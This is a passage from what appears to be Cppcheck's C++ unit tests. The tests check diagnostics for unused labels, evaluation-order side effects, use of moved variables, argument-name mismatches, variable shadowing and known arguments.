ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n }\n\n void testUnusedLabel() {\n check(\"void f() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" label:\\n\"\n \" foo();\\n\"\n \" goto label;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" switch(a) {\\n\"\n \" default:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" class X {\\n\"\n \" my_protected:\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" caseZERO:\\n\"\n \" return 0;\\n\"\n \" case1:\\n\"\n \" return 1;\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Label 'caseZERO' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\"\n \"[test.cpp:5:5]: (warning) Label 'case1' is not used. Should this be a 'case' of the enclosing switch()? [unusedLabelSwitch]\\n\", errout_str());\n\n check(\"int test(char art) {\\n\"\n \" switch (art) {\\n\"\n \" case 2:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \" label:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n }\n\n #define checkCustomSettings(...) checkCustomSettings_(__FILE__, __LINE__, __VA_ARGS__)\n void checkCustomSettings_(const char* file, int line, const char code[], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n void checkCustomSettings_(const char* file, int line, const char code[], Settings *s) {\n checkCustomSettings_(file, line, code, true, true, true, false, s);\n }\n\n void testEvaluationOrder() {\n check(\"void f() {\\n\"\n \" int x = dostuff();\\n\"\n \" return x + x++;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n // #7226\n check(\"long int f1(const char *exp) {\\n\"\n \" return strtol(++exp, (char **)&exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, exp, 10);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:23]: (error) Expression '++exp,exp' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a;\\n\"\n \" while (a=x(), a==123) {}\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 8717\n check(\"void f(int argc, char *const argv[]) {\\n\"\n \" char **local_argv = safe_malloc(sizeof (*local_argv));\\n\"\n \" int local_argc = 0;\\n\"\n \" local_argv[local_argc++] = argv[0];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \" return 0 + x++;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" int a[10];\\n\"\n \" a[x+y] = a[y+x]++;;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:3:10]: (error) Expression 'a[x+y]=a[y+x]++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = ++i + i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Expression '++i+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"long int f1(const char *exp) {\\n\"\n \" return dostuff(++exp, ++exp, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\"\n \"[test.cpp:2:23]: (portability) Expression '++exp,++exp' depends on order of evaluation of side effects. Behavior is Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not 